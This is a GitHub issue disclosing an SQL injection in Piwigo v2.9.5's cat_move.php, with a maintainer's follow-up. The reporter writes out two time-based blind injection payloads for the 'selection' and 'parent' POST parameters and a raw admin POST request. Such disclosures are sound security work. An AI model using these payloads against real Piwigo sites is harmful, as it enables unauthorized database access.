Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection in cat_move.php #1010

Closed
zongdeiqianxing opened this issue May 6, 2019 · 2 comments
Closed

SQL injection in cat_move.php #1010

zongdeiqianxing opened this issue May 6, 2019 · 2 comments
Assignees
Milestone

Comments

@zongdeiqianxing
Copy link

Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.

replace any of the following parameter in POST requests to reappear the vulnerability:
selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23
or
parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23

I use 'sqlmap' to reappear the vulnerability:
4
6

@zongdeiqianxing
Copy link
Author

POST /admin.php?page=cat_move HTTP/1.1
Host: 10.150.10.186:30008
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30008/admin.php?page=cat_move
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Cookie: pwg_id=bv8q0gb8mbcqb99bhcqdlf1q20
Connection: close
Upgrade-Insecure-Requests: 1

selection%5B%5D=4&parent=7&submit=%E6%8F%90%E4%BA%A4

@plegall plegall added this to the 2.9.6 milestone May 31, 2019
@plegall plegall self-assigned this Aug 12, 2019
@plegall plegall modified the milestones: 2.9.6, 2.10.0RC1 Aug 12, 2019
@plegall plegall changed the title Piwigo v2.9.5 - SQL injection in cat_move.php SQL injection in cat_move.php Aug 12, 2019
@plegall
Copy link
Member

plegall commented Aug 12, 2019

vulnerability found in Piwigo v2.9.5

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants